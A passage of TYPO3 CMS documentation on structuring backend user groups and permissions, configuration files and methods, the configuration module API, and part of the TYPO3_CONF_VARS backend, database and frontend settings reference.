When planning for permissions and file access, consider how many separate
entry points (File Mounts) within file storage you will need. At a minimum,
you should create separate folders for each site you manage and then configure
them as distinct file mounts, which equate to separate backend groups.
These groups can later be assigned to users, granting them access to such folders.
There are cases where some folders and the files within them have to be shared
across multiple sites. For this purpose, create separate file mounts
and dedicated groups for them. Then, combine these groups within a role group,
ensuring that each user associated with such a role group will have access
to the specified folders and files in the storage.
Sample backend groups hierarchy
This diagram demonstrates the potential structure of folders within storage.
Create dedicated file mounts for folders, and then use those file mounts within
backend user groups. This arrangement enables two users with editor roles to
access distinct sets of folders: one can access files from Website A
and Shared folders, while the other accesses Website B and Shared folders.
Often more complex configuration will be required, with a more nested folder
structure for each site. However, the setup remains similar - create separate
file mounts where needed and a backend group that will utilize this file mount.
Then, assign such groups to role groups.
Note
For each File Mount create a separate backend user group.
Setting up backend user groups
Backend user groups can be categorized into three main types. Those used to
grant permissions to pages and define mounts for databases, categories,
or files we can refer to as System Groups. The ones responsible for granting
access to modules, various content elements, record types, and specific fields
within forms can be termed Access Control List (ACL) Groups. Finally,
we have Role Groups, which aggregate groups from both the System and ACL Groups
to provide a permissions set representing a specific role.
This classification should not be seen as a TYPO3 standard, but rather as a guideline
that will assist in configuring groups later on. Read more to discover the details.
System groups
System groups have the lowest level of permissions without which other groups
like Access Control List (ACL) and Role
groups will not work. They enable access to individual pages based on user
and group IDs, allow definition of accessible sections of pages and categories
tree for users, and determine access to files and folders within storages (via File Mounts).
System groups are likely to be the ones you modify the least often.
Note
System groups are likely to be the ones you modify the least often.
Access Control List (ACL) groups
Access Control List (ACL) groups are the largest set of groups, used to
set detailed permissions for elements like modules, dashboard widgets, tables
for listing and editing, and specific fields in backend forms.
Ensure ACL groups grant essential permissions for specific elements management.
For example, users managing custom record types (e.g., Article, Product) should list,
create, and access records, possibly via a custom backend module or the List module.
It's crucial to equip such a group with access to:
Listing and modifying the table of a records
Editing fields within the record that align with this group's purpose
Accessing the core List module or custom module for records management
If there are relations from this record, for example, to files, it should also permit uploading, selecting, and processing these files
Therefore, a group can be seen as an independent unit that provides complete
access to a specific part of the system and can be integrated later with other units (groups).
Note
An Access Control List (ACL) group can be seen as a standalone, complete set of
permissions tailored to a specific element(s) and designed to fulfill its defined
scope or purpose (editing/managing Articles or Products).
Role groups as an aggregation of specific role permissions
Backend role groups in TYPO3 are designed to correspond to the specific roles
users fulfill, such as editor, proofreader, etc. These groups accumulate
permissions exclusively through the inheritance from subgroups.
This hierarchical setup ensures that role groups can effectively grant users
the precise set of permissions needed to perform their designated roles, such as editing.
By utilizing this structure, TYPO3 allows for a clear and organized approach
to managing access rights, ensuring users have the permissions they need,
nothing more, nothing less.
Note
Role groups inherit permissions from subgroups and should not have any
permissions configured directly on themselves.
Implementing naming conventions for easy group management
TYPO3 currently lacks the feature to categorize backend user groups by context
or purpose, sorting them alphabetically instead. While helpful for quick searches,
this becomes cumbersome with many groups, when it is required to identify them
by their purpose or scope.
The situation could worsen with multiple administrators managing group and user
permissions. Without naming conventions for groups that all administrators adhere to,
it may become challenging to identify the responsibilities of each group.
As detailed in the Access Control Options in TYPO3 chapter,
these options can be categorized into types like access lists, mounts, page permissions,
etc. This categorization can also aid in organizing backend user groups.
Let’s explore how implementing prefixes in group names can help streamline their organization.
A group representing a specific role, such as editor or proofreader, will
inherit permissions from multiple other groups (aggregates them) to compile
the necessary permissions set.
Grants permissions to all pages in the pages tree for a given site or only
selected branches of pages in the tree.
Those groups will be assigned directly to the pages (see Page Permissions
for more details) following the TSConfig or the Permissions module configuration.
Specifies which portion (either the entirety or a segment) of the pages tree
will be displayed to the user.
This setting is closely linked to page access permissions — without sufficient
permissions to list the pages, a user will not be able to view the mounted page tree.
These groups are the largest, defining granular
access to content elements, plugins, modules, fields and more.
File Operations
FILE_OPERATION_ or FO_
Examples: FO_all, FO_read_write
Defines the range of allowed operations for files and folders, such as read, write, delete, etc.
Limit to languages
LANGUAGE_ or L_
Examples: L_all, L_english_german, L_en_pl_de
Specifies the languages available for managing content. Keep in mind
that you would have to have access to the source language when creating the translation.
This method guarantees dedicated group prefixes for Pages access, Database Mounts,
File Mounts, File Operations, Category Mounts, and module, table, widget,
and language access. These examples are customizable to fit specific needs.
Ensure each group name is straightforward and indicative of its permissions.
Prefixing group names makes them more organized and easier to search within forms
Note
Use prefixes or another naming convention to easily
distinguish backend user groups by their purpose.
Describe the naming conventions in the TCA
For those managing backend groups, if you've adopted naming conventions, consider
adding a field description in the TCA for be_groups, be_users, and related tables,
detailing these conventions instead of referencing separate documentation.
This ensures immediate visibility of the naming rules for anyone modifying group
inheritance or assignments.
This code demonstrates the assignment of a static description for the usergroup
field in the backend user form. However, you should place it in a translation
file and retrieve it from there for better flexibility and localization support.
Use the Notes field to describe the purpose of the group
Another good practice for managing backend groups is to clearly describe
the purpose or scope of each group. This can be done using the Description
field located within the Notes tab of the backend group form.
Describe the scope or purpose of the group
Example configuration of backend user groups
How backend user groups can be categorized,
and organized using naming conventions
to distinguish their purpose or context as well as following best practice
and more advanced examples of group structures for projects with a single or multisite setup
are discussed.
Backend groups’ structure for a small project
When setting up backend groups and permissions for small, single-site projects
future complexity should be considered. Organizing groups by best practice from the start
makes future extension and maintenance easier.
Consider a scenario where two role groups are required: one for general content management,
named Content Editor, and one for survey management, named Survey Manager.
The following conditions should be met:
Both roles should manage content in all languages
Both roles should perform any file operations
The Content Editor role has a dedicated file mount for organizing files
The Survey Manager role should have access to a dedicated file mount within the same file storage
The Content Editor role should be able to view files uploaded by users with the Survey Manager role, as they might need them for blog posts mentioning the surveys
The Content Editor role should manage all types of content, except for surveys
The Content Editor should have access to a dedicated branch in system categories
The Survey Manager role should only see the storage folder and the part of the pages tree where the surveys are listed and rendered
The Survey Manager role does not need access to any system categories
With these requirements in mind, the backend groups structure can be planned.
Following best practice of having System Groups
and Access Control List Groups, it could look like this:
Having defined all the required System and Access Control List groups,
they can be combined to fulfill the Content Editor and Survey Manager
role requirements.
The System and Access Control List (ACL) groups serve as components
that can be integrated into a larger entity, in this case, the role group.
These role groups can then be assigned to users. As previously mentioned,
permissions should only be assigned to users via role groups.
Backend group structure for a multi-site project
When creating backend user groups for a multi-site project, the approach is
the same as that of smaller, single-site projects.
Adhering to recommended best practice from the start simplifies building the website
and prepares for a more advanced setup.
This scenario describes a project with three separate sites (a multi-site setup).
There will be three distinct Content Editors roles, one for each site,
along with other roles that will have cross-site access and permissions
to manage content.
The following conditions should be met:
Project has 3 separate sites: Website A, Website B, Website C
Project has one default language and one translation to English language
For each site there are separate Content Editor roles as they will have different permissions
Content Editor roles on Website A and Website C will have access to all languages, while the Content Editor role for Website B will have access only to the English language
Each Content Editor role should have access to dedicated system categories branch
Each Content Editor role can manage general content elements
Content Editor role on Website A and C can manage news
Content Editor role on Website A and C can manage galleries
Content Editor role on Website A can manage use custom page types
Content Editor role on Website A can manage contact forms (send responses etc.)
Content Editor role on Website B can manage surveys
Start by creating the necessary groups to form role groups. This includes system groups
for each site and shared groups across different roles and sites. Next, define the
ACL groups, which will be universally reusable for all role groups on any site.
Groups specific to particular sites (e.g., page groups, database mounts) have
been identified as well as the shared groups, which are universal,
and reused across role groups. Use shared groups for
for roles for single sites as well as for cross-site groups.
The ACL groups could be further granulated, by separating out permissions
for different content elements and dividing records’ related groups into multiple
ones — for editing records, managing lists and details through plugins, etc.
It is not done here to avoid overly complicating the diagram, which is already
quite comprehensive. However, in your setup, it might be necessary to create
more ACL groups, each responsible for a smaller set of permissions than those shown here.
The desired backend groups structure and aggregation could look like this:
The key concept that you should grasp here is that small backend groups
are combined to form a Role group. Role groups are the 'top' tier and only they
can be assigned to users later on.
Permissions synchronization
When administrators create backend users and groups in TYPO3, assigning permissions
that are stored in the database, they can easily edit these settings via the backend module.
However, managing these settings across different environments — testing, staging,
and production — can be challenging.
Ensuring ACL configurations are consistent and synchronized can be time-consuming,
often leading to issues. For example, developers might forget to update permissions
across environments during deployments, causing inconsistencies. There are strategies
to mitigate these synchronization challenges.
Managing database configurations: importing and exporting
A solution for synchronizing permissions across environments in TYPO3 is using
the import/export feature (more details: TYPO3 Import / Export). This feature
allows exporting and importing records, including relational data, across different
instances.
However, you might prefer not to export/import backend user accounts directly.
After importing groups and permissions, reassign these groups to existing users
as needed. Keep in mind though, that managing environment-specific groups while
updating others can be a complex task.
Deployable permissions
A highly desired feature not yet in TYPO3 core is Deployable permissions for ACLs,
allowing permission sets to be stored in files for version control and easy deployment
across environments. This ensures consistent permission application and simple
updates or rollbacks via version control systems (VCS).
In the meantime, the community extension Permission Sets
offers a workaround, linking permission sets to TYPO3 backend user groups
via yaml files, filling this functionality gap. However, it's currently in the
testing phase, as noted by its author.
Groups inheritance
Even though TYPO3 does not limit the depth of backend user group inheritance,
it's advisable to avoid complex setups. Typically, 1 or 2 levels of inheritance
should suffice. Such flat structures offer significant advantages over more complex,
deeper inheritances, including easier maintenance, updates, and verification
of the sources of specific permissions.
Backend groups hierarchy with 2 levels of inheritance
Note
Avoid complex inheritance within backend user groups. One or two levels of inheritance should suffice and make permissions easier to maintain.
Settings and Configuration of TYPO3 systems and sites
TYPO3 settings can be changed in the backend, depending on the logged-in user's
role:
Can be changed by backend
Administrators
in the Site Settings and Site Configuration modules.
Page/content element settings
Can be changed by Editors with the correct permissions
in Page properties and in the content element editor.
Settings are values that can be changed in the backend by users with the appropriate permissions
whereas configuration refers to static parameters in files that can only be
changed by developers and integrators.
This page introduces TYPO3’s configuration files, syntax, and available
configuration methods. For detailed
information, refer to the relevant chapters or references.
TYPO3 is highly configurable—settings can be adjusted through the backend,
extensions, or configuration files, and extended as needed.
Configuration overview: files
Global files
config/system/settings.php:
Contains the persisted $GLOBALS['TYPO3_CONF_VARS'] array.
Settings configured in the backend by system maintainers in
Admin Tools > Settings > Configure Installation-Wide Options
are written to this file.
config/system/additional.php:
Can be used to override settings defined in config/system/settings.php
config/system/services.php and config/system/services.yaml:
These two files can be used to set up a global service configuration for
a project that can be used in several project-specific extensions. This
is explained in detail in the Dependency Injection: Installation-wide
configuration section.
config/sites/<site>/config.yaml
This file is located in webroot/typo3conf/sites in non-Composer installations.
The site configuration configured in the Site Management > Sites
backend module is written to this file.
TypoScript syntax is used for frontend
TypoScript and backend TypoScript (also called TSconfig). TypoScript has
a unique syntax, shared by TypoScript and TSconfig. While the syntax is the
same, their semantics differ.
Yaml is the configuration language of choice for newer
TYPO3 system extensions like rte_ckeditor,
form and the sites module. It has
partly replaced TypoScript and TSconfig as configuration languages.
PHP is used for the
$GLOBALS array which includes TCA
(
$GLOBALS['TCA'] , Global Configuration (
GLOBALS['TYPO3_CONF_VARS']),
User Settings (
$GLOBALS['TYPO3_USER_SETTINGS'], etc.
Configuration methods
Backend TypoScript (TSconfig)
TSconfig configures backend behavior in TYPO3, such as enabling views or
customizing editing interfaces—without writing PHP. It can be applied at the
page level (Page TSconfig) or to users and groups (User TSconfig).
TSconfig shares the same syntax as Frontend TypoScript, detailed in
TypoScript syntax, but uses entirely different properties.
For full usage, API details, and load order, refer to:
Primarily used by integrators, TSconfig helps tailor the backend
experience for users.
Tip
TSconfig can also be used to override the table configuration array TCA,
which is always defined globally, on a per-site or per-page level.
Frontend TypoScript
TypoScript (or TypoScript Templating) controls frontend rendering in TYPO3. It
uses the syntax described in TypoScript Explained.
While once central to frontend output, much of its role has been replaced by
Fluid. Today, TypoScript is often used to configure plugins, set global options,
or prepare data for Fluid templates.
Defines how backend forms, fields, and data handling behave. It’s essential
for developers and integrators. Full reference: TCA Reference.
See also: Extending the TCA array.
Stores system-wide settings. Most can be changed in
Admin Tools > Settings > Global Configuration. Values are saved in
config/system/settings.php and can be overridden via
config/system/additional.php.
Stored in
$GLOBALS['TYPO3_USER_SETTINGS'], they define backend user
preferences.
Hint
View configurations in the backend under System > Configuration
(read-only) or use a debugger. This requires the lowlevel system extension.
Only system maintainers can change
TYPO3_CONF_VARS, extension settings,
and feature toggles in the backend. TCA and settings for the
Logging and Caching
frameworks must be edited manually in
config/system/additional.php.
FlexForm
FlexForms are used to define options for plugins and content
elements. They allow each element to be configured individually.
Values are editable in the backend when editing the content element. The schema
is defined by the providing extension.
YAML
Several system extensions use YAML for configuration:
Site config is stored in
config/sites/<identifier>/config.yaml and editable via the
Sites backend module or directly in the file.
The configuration module is only available, if the system extension lowlevel
is installed.
The configuration module can be found at System > Configuration.
It allows integrators to view and validate the global configuration of TYPO3.
The module displays all relevant global variables such as
TYPO3_CONF_VARS, TCA and many more,
in a tree format which is easy to browse through. Over time this module got
extended to also display the configuration of newly introduced features like the
middleware stack or
event listeners.
To make this module more powerful a dedicated API is available which
allows extension authors to extend the module so they can expose their own
configurations.
By the nature of the API it is even possible to not just add new
configuration but to also disable the display of existing configuration,
if not needed in the specific installation.
Basic implementation
To extend the configuration module, a custom configuration provider needs to
be registered. Each "provider" is responsible for one configuration. The provider
is registered as a so-called "configuration module provider" by tagging it in the
Services.yaml file. The provider class must implement
the EXT:lowlevel/Classes/ConfigurationModuleProvider/ProviderInterface.php (GitHub).
The registration of such a provider looks like the following:
A new service with a freely selectable name is defined by specifying the
provider class to be used. Further, the new service must be tagged with the
lowlevel.configuration.module.provider tag. Arbitrary attributes
can be added to this tag. However, some are reserved and required for internal
processing. For example, the identifier attribute is mandatory and must be
unique. Using the before and after attributes, it is possible to specify
the exact position on which the configuration will be displayed in the module
menu.
The provider class has to implement the methods as required by the interface.
A full implementation would look like this:
The
__invoke() method is called from the provider registry and provides
all attributes, defined in the Services.yaml. This can be used to set
and initialize class properties like the :php$identifier which can then be returned
by the required method
getIdentifier(). The
getLabel() method is
called by the configuration module when creating the module menu. And finally,
the
getConfiguration() method has to return the configuration as an
array to be displayed in the module.
There is also the abstract class
EXT:lowlevel/Classes/ConfigurationModuleProvider/AbstractProvider.php (GitHub) in place
which already implements the required methods; except
getConfiguration().
Please note, when extending this class, the attribute label is expected in the
__invoke() method and must therefore be defined in the Services.yaml.
Either a static text or a localized label can be used.
Since the registration uses the Symfony service container and provides all
attributes using
__invoke(), it is even possible to use
dependency injection with constructor arguments in
the provider classes.
Displaying values from $GLOBALS
If you want to display a custom configuration from the
$GLOBALS array,
you can also use the already existing
\TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider .
Define the key to be exposed using the globalVariableKey attribute.
This could look like this:
EXT:my_extension/Configuration/Services.yaml
myextension.configuration.module.provider.myconfiguration:class:'TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider'tags:-name:'lowlevel.configuration.module.provider'identifier:'myConfiguration'label:'My global var'globalVariableKey:'MY_GLOBAL_VAR'
Copied!
Disabling an entry
To disable an already registered configuration add the
disabled attribute
set to
true. For example, if you intend to disable the T3_SERVICES key
you can use:
Sensitive data (like passwords or access tokens) should not be displayed in the
configuration module. Therefore, the PSR-14 event
ModifyBlindedConfigurationOptionsEvent is available to blind such
configuration options.
The class
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
and its global instance
$GLOBALS['TSFE'] have been marked as
deprecated. The class will be removed with TYPO3 v14.
Contains an instantiation of
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController .
Attention
Directly access
$GLOBALS['TSFE'] only as a last resort. It is
strongly discouraged if not absolutely necessary.
Provides some public properties and methods which can be used by extensions.
The public properties can also be used in TypoScript via
TSFE.
Is set to
$GLOBALS['EXEC_TIME'] but can be altered later in the script if we
want to simulate another execution-time when selecting from e.g. a
database (used in the frontend for preview of future and past dates)
is initialized via
\TYPO3\CMS\Core\Localization\LanguageServiceFactory
Frontend
no
Attention
It is discouraged to use this variable directly. The
LanguageServiceFactory should be used instead to retrieve the
LanguageService.
The
LanguageService can be used to fetch
translations.
More information about retrieving the
LanguageService is available in
Localization in PHP.
Exploring global variables
Many of the global variables described above can be inspected using the module
System > Configuration.
Warning
This module is always viewed in the BE context. Variables defined
only in the FE context will not be visible there.
Note
This module is purely a browser. It does not let you change
values.
It also lets you browse a number of other global arrays as well as values
defined in other syntaxes including YAML.
Viewing the
$GLOBALS['TYPO3_CONF_VARS] array using the Admin Tools > Configuration module
System configuration and the global settings.php
System configuration settings, such as database credentials, logging levels, mail
settings, etc, are stored in the central file system/settings.php.
This file is primarily managed by TYPO3. Settings can be changed in
the Admin Tools modules by users with the
system maintainer
role.
The file system/settings.php is created during the
setup process.
Configuration options are stored internally in the global array
$GLOBALS['TYPO3_CONF_VARS'] .
They can be overridden in the file system/additional.php. Some settings
can also be overridden by installed extensions. They are then defined in extension file
ext_localconf.php
for the frontend and backend contexts or in the extension
ext_tables.php
for the backend context only.
This chapter describes the global configuration in more detail and gives hints
about further configuration possibilities.
This path can be retrieved from the Environment API. See
getConfigPath() for both Composer-based and Classic mode installations.
Global configuration is stored in file config/system/settings.php in
Composer-based extensions and typo3conf/system/settings.php in Classic mode
installations.
This file overrides default settings from
typo3/sysext/core/Configuration/DefaultConfiguration.php.
File config/system/settings.php
config/system/settings.php
settings.php
Scope
project
Path (Composer)
config/system/settings.php
Path (Classic)
typo3conf/system/settings.php
The most important configuration file is
settings.php. It contains local settings in the
main global PHP array
$GLOBALS['TYPO3_CONF_VARS'] , for example,
important settings like database connection credentials are in here. The file
is managed in Admin Tools.
Note
The settings.php file can be read-only. In this case, the
sections in the Install Tool that would write to this file inform a
system maintainer that it is write-protected. All input fields are disabled
and the save button not available.
The local configuration file is basically a long array which is returned
when the file is included. It represents the global TYPO3 configuration.
This configuration can be modified/extended/overridden by extensions
by setting configuration options inside an extension's
ext_localconf.php file. See extension files and locations
for more details about extension structure.
config/system/settings.php typically looks like this:
As you can see, the array is structured on two main levels. The first level
corresponds roughly to categories and the second level to properties, which
may themselves be arrays.
config/system/additional.php
additional.php
Scope
project
Path (Composer)
config/system/additional.php
Path (Classic)
typo3conf/system/additional.php
The settings in settings.php can be overridden by changes in the
additional.php file, which is never touched by TYPO3
internal management tools. Be aware that having settings within
additional.php may prevent the system from performing
automatic upgrades and should be used with care and only if you know what
you are doing.
File config/system/additional.php
Although you can manually edit the config/system/settings.php
file, the changes that you can make are limited because the file is expected to return
a PHP array. Also, the file is rewritten every time an option is
changed in the Install Tool or other operations (like changing
an extension configuration in the Extension Manager) so do not put custom
code in this file.
Custom code should be placed in the config/system/additional.php
file. This file is never touched by TYPO3, so any code will be
left alone.
As this file is loaded afterconfig/system/settings.php,
you can make programmatic changes to global configuration values here.
config/system/additional.php is a plain PHP file.
There are no specific rules about what it may contain. However, since
the code is included in every request to TYPO3
- whether frontend or backend - you should avoid inserting code
which requires a lot of processing time.
Example: Changing the database hostname for development machines
Further details on the various configuration options can be found in the
Admin Tools module as well as the TYPO3 source at
EXT:core/Configuration/DefaultConfigurationDescription.yaml.
The documentation shown in the Admin Tools module is automatically
extracted from those values in DefaultConfigurationDescription.yaml.
The Admin Tools module provides various sections that
change parts of config/system/settings.php. They can be found in
Admin Tools > Settings - most importantly section
Configure installation-wide options:
It is interesting to take a look at this file, which also contains
values that are not displayed in the Install Tool and therefore cannot be
changed easily.
BE - backend configuration
The following configuration variables can be used to configure settings for
the TYPO3 backend:
Note
The configuration values listed here are keys in the global PHP array
$GLOBALS['TYPO3_CONF_VARS']['BE'] .
This variable can be set in one of the following files:
Path to the primary directory of files for editors. This is relative to
the public web dir. DefaultStorage will be created with that configuration.
Do not access manually but via
\TYPO3\CMS\Core\Resource\ResourceFactory::getDefaultStorage().
Defines the location of the flag file LOCK_BACKEND, which
is used to temporarily restrict backend access to prevent unauthorized
changes or when performing critical updates.
lockRootPath
lockRootPath
Type
array of file paths
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']
Default
[]
These absolute paths are used to evaluate, if paths outside of the project
path should be allowed. This restriction also applies for the local driver
of the File Abstraction Layer.
This option supports an array of root path prefixes to
allow for multiple storages to be listed.
Combined folder identifier of the directory where TYPO3 backend users have
their home-dirs. A combined folder identifier looks like this:
[storageUid]:[folderIdentifier]. For Example
2:users/.
A home for backend user 2 would be:
2:users/2/. Ending slash required!
Combined folder identifier of the directory where TYPO3 backend groups have
their home-dirs. A combined folder identifier looks like this:
[storageUid]:[folderIdentifier]. For example
2:groups/.
A home for backend group 1 would be:
2:groups/1/. Ending slash required!
Suffix to the user home dir which is what gets mounted in TYPO3. For example
if the user dir is ../123_user/ and this value
is /upload then ../123_user/upload gets mounted.
Email address that will receive notifications whenever an attempt to
login to the Install Tool is made. This address will also receive warnings
whenever more than 3 failed backend login attempts (regardless of user)
are detected within an hour.
1 0: Default: Do not send notification-emails upon backend-login 1: Send a notification-email every time a backend user logs in 2: Send a notification-email every time an admin backend user logs in
Send emails to
warning_email_addr upon backend-login
Enable password reset functionality on the backend login for TYPO3 Backend
users. Can be disabled for systems where only LDAP or OAuth login is allowed.
Password reset will then still work on CLI and for admins in the backend.
Enable password reset functionality for TYPO3 Administrators. This will
affect all places such as backend login or CLI. Disable this option for
increased security.
requireMfa
requireMfa
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['requireMfa']
Default
0
Allowed values
0-4
0:
Default: Do not require multi-factor authentication
1:
Require multi-factor authentication for all users
2:
Require multi-factor authentication only for non-admin users
3:
Require multi-factor authentication only for admin users
4:
Require multi-factor authentication only for system maintainers
Maximum amount of login attempts for the time interval in
[BE][loginRateLimitInterval],
before further login requests will be denied. Setting this value to
"0" will disable login rate limiting.
IP addresses (with
*-wildcards) that are excluded from rate limiting.
Syntax similar to [BE][IPmaskList].
An empty value disables the exclude list check.
lockIP
lockIP
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']
Default
0
Allowed values
0-4
0:
Default: Do not lock Backend User sessions to their IP address at all
1:
Use the first part of the editors IPv4 address (for example "192.") as part of the session locking of Backend Users
2:
Use the first two parts of the editors IPv4 address (for example "192.168") as part of the session locking of Backend Users
3:
Use the first three parts of the editors IPv4 address (for example "192.168.13") as part of the session locking of Backend Users
4:
Use the editors full IPv4 address (for example "192.168.13.84") as part of the session locking of Backend Users (highest security)
Session IP locking for backend users. See [FE][lockIP] for details.
Default: Do not lock Backend User sessions to their IP address at all
1:
Use the first block (16 bits) of the editors IPv6 address (for example "2001:") as part of the session locking of Backend Users
2:
Use the first two blocks (32 bits) of the editors IPv6 address (for example "2001:0db8") as part of the session locking of Backend Users
3:
Use the first three blocks (48 bits) of the editors IPv6 address (for example "2001:0db8:85a3") as part of the session locking of Backend Users
4:
Use the first four blocks (64 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3") as part of the session locking of Backend Users
5:
Use the first five blocks (80 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319") as part of the session locking of Backend Users
6:
Use the first six blocks (96 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e") as part of the session locking of Backend Users
7:
Use the first seven blocks (112 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e:0370") as part of the session locking of Backend Users
8:
Use the editors full IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e:0370:7344") as part of the session locking of Backend Users (highest security)
Session IPv6 locking for backend users. See [FE][lockIPv6] for details.
Session time out for backend users in seconds. The value must be at least
180 to avoid side effects. Default is 28.800 seconds = 8 hours.
IPmaskList
IPmaskList
Type
list
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList']
Default
''
Lets you define a list of IP addresses (with *-wildcards) that are the
ONLY ones allowed access to ANY backend activity. On error an error header
is sent and the script exits. Works like IP masking for users
configurable through TSconfig.
See syntax for that (or look up syntax for the function
\TYPO3\CMS\Core\Utility\GeneralUtility::cmpIP())
If set, the backend can only be operated from an SSL-encrypted
connection (https). A redirect to the SSL version of a URL will happen
when a user tries to access non-https admin-urls
Use a non-standard HTTPS port for lockSSL. Set this value if you use
lockSSL and the HTTPS port of your webserver is not 443.
cookieDomain
cookieDomain
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieDomain']
Default
''
Same as $TYPO3_CONF_VARS[SYS][cookieDomain]<typo3ConfVars_sys_cookieDomain>
but only for BE cookies. If empty,
$TYPO3_CONF_VARS[SYS][cookieDomain]
value will be used.
cookieName
cookieName
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieName']
Default
'be_typo_user'
Set the name for the cookie used for the back-end user session
Cookies set by TYPO3 are only available for the current site,
third-party integrations are not allowed to read cookies, except for
links and simple HTML forms
strict:
Cookies sent by TYPO3 are only available for the current site, never
shared to other third-party packages
none:
Allow cookies set by TYPO3 to be sent to other sites as well,
please note - this only works with HTTPS connections
Indicates that the cookie should send proper information where the cookie
can be shared (first-party cookies vs. third-party cookies) in TYPO3 Backend.
If set, the Ajax relogin will show a real popup window for relogin after
the count down. Some auth services need this as they add custom validation
to the login form. If its not set, the Ajax relogin will show an inline
relogin window.
adminOnly
adminOnly
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly']
Default
0
Allowed values
-1 - +2
-1:
Total shutdown for maintenance purposes
0:
Default: All users can access the TYPO3 Backend
1:
Only administrators / system maintainers can log in, CLI interface is disabled as well
2:
Only administrators / system maintainers have access to the TYPO3 Backend, CLI executions are allowed as well
Restricts access to the TYPO3 Backend - especially useful when doing maintenance or updates
Dont use exec() function (except for ImageMagick which is disabled by
[GFX][im]<typo3ConfVars_gfx_im> =0). If set, all file operations are done
by the default PHP-functions. This is necessary under Windows! On Unix the
system commands by exec() can be used, unless this is disabled.
Determines output compression of BE output. Makes output smaller but slows
down the page generation depending on the compression level. Requires
zlib in your PHP installation and
special rewrite rules for .css.gz and .js.gz
(before version 12.0 the extension was .css.gzip and .js.gzip)
Please see EXT:install/Resources/Private/FolderStructureTemplateFiles/root-htaccess
for an example. Range 1-9, where 1 is least
compression and 9 is greatest compression.
true as value will set the
compression based on the PHP default settings (usually 5 ). Suggested and
most optimal value is 5.
A perl-compatible and JavaScript-compatible regular expression (without
delimiters /) that - if it matches a filename - will deny the
file upload/rename or whatever.
For security reasons, files with multiple extensions have to be denied on
an Apache environment with mod_alias, if the filename contains a valid php
handler in an arbitrary position. Also, ".htaccess" files have to be denied.
Matching is done case-insensitive.
Default value is stored in class constant
\TYPO3\CMS\Core\Resource\Security\FileNameValidator::FILE_DENY_PATTERN_DEFAULT.
If enabled, included CSS and JS files loaded in the TYPO3 Backend will
have the timestamp embedded in the filename, ie.
filename.1269312081.js .
This will make browsers and proxies reload the files if they change
(thus avoiding caching issues).
IMPORTANT: This feature requires extra .htaccess rules to
work (please refer to the
typo3/sysext/install/Resources/Private/FolderStructureTemplateFiles/root-htaccess
file shipped with TYPO3).
If disabled the last modification date of the file will be appended as a query-string.
debug
debug
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['debug']
Default
false
If enabled, the login refresh is disabled and pageRenderer is set to debug
mode. Furthermore the fieldname is appended to the label of fields. Use
this to debug the backend only!
Configure the reporting HTTP endpoint of
Content Security Policy violations in the
backend; if it is empty, the TYPO3 endpoint will be used.
Setting this configuration to '0' disables Content Security Policy
reporting. If the endpoint is still called then, the
server-side process responds with a 403 HTTP error message.
// Set a custom endpoint for Content Security Policy reporting
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl']
= 'https://csp-violation.example.org/';
It is possible to add additional query restrictions by adding class names as
key to
$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'] .
Have a look into the chapter Custom restrictions for details.
Connections
Connections
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']
One or more database connections can be configured under the
Connections key. There must be at least one configuration with the
Default key, in which the default database is configured, for example:
It is possible to swap out tables from the default database and use a specific
setup (for instance, for caching). For example, the following snippet could
be used to swap the
be_sessions table to another database or even another
database server:
TYPO3 expects all "main" Core system tables to be configured for the
Default connection (especially
sys_*,
pages,
tt_content and in general all tables that have
TCA configured). The reason for this is to improve
performance with joins between tables. Cross-database joins are almost
impossible.
One scenario for using a separate database connection is to query data
directly from a third-party application in a custom extension. Another
use case is database-based caches.
Note
The connection options described below are the most commonly used. These
options correspond to the options of the underlying Doctrine DBAL
library. Please refer to the Doctrine DBAL connection details
for a full overview of settings.
Since TYPO3 v11 the
tableoptions keys were silently migrated
to defaultTableOptions,
which is the proper Doctrine DBAL connection option for MariaDB and
MySQL.
Furthermore, Doctrine DBAL 3.x switched from using the array key
collate to
collation, ignoring the old array key with
Doctrine DBAL 4.x. This was silently migrated by TYPO3, too.
These silent migrations are now deprecated in favor of using the
final array keys.
Migration:
Review
settings.php and
additional.php and adapt the
deprecated configuration by renaming affected array keys.
List of directories and files which will not be packaged into extensions nor
taken into account otherwise by the Extension Manager. Perl regular
expression syntax!
FE - frontend configuration
The following configuration variables can be used to configure settings for
the TYPO3 frontend:
Note
The configuration values listed here are keys in the global PHP array
$GLOBALS['TYPO3_CONF_VARS']['FE'] .
This variable can be set in one of the following files:
Additional relative paths where resources may be placed. Used in some
frontend-related places for images and TypoScript.
It should be prefixed with /. If not, then any path whose the first
part is like this path will match. That is, myfolder/ , myarchive will
match, for example, myfolder/, myarchive/,
myarchive_one/, myarchive_2/, etc.
No check is done whether this directory actually exists in the root folder
of the site.
debug
debug
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['debug']
Default
false
If enabled, the total parse time of the page is added as HTTP response
header
X-TYPO3-Parsetime. This can also be enabled/disabled via the
TypoScript option
config.debug = 0.
Determines output compression of FE output. Makes output smaller but
slows down the page generation depending on the compression level. Requires
zlib in your PHP installation and
special rewrite rules for .css.gz and .js.gz
(before version 12.0 the extension was .css.gzip and .js.gzip)
Please see EXT:install/Resources/Private/FolderStructureTemplateFiles/root-htaccess
for an example. Range 1-9, where 1 is least
